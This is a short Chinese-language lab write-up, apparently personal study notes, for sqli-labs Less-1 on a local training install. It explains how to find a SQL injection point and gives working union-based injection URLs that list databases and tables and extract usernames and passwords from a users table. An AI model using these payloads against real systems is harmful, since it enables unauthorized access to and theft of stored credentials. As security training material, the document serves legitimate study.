实现sql注入的必备两点
1.用户能控制输入内容
2.web应用把用户输入内容在数据库里执行
判断注入点
尝试是否存在数据库读取行为
以及能否对其参数产生影响
Less-1
注入点测试
测试闭合符号
尝试注入id=1’,在后面加上了’,发现报错了,说明带入数据库中处理了,且闭合符合为’
可能存在注入点
验证注入点
输入id=1 进行查询,回显了id为1的用户信息,说明存在注入
判断注入类型
方法1:
闭合前面单引号,注释掉后面引号,通过and连接1=1 和 1=2来判断是否为字符型注入
http://localhost/sqli-labs-master/Less-1/?id=1' and 1=1 --+
1
http://localhost/sqli-labs-master/Less-1/?id=1' and 1=2 --+
查询字段数是3
查询数据库基本信息
数据库名
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
数据库表名
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
数据
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,username,password from users where id=2 --+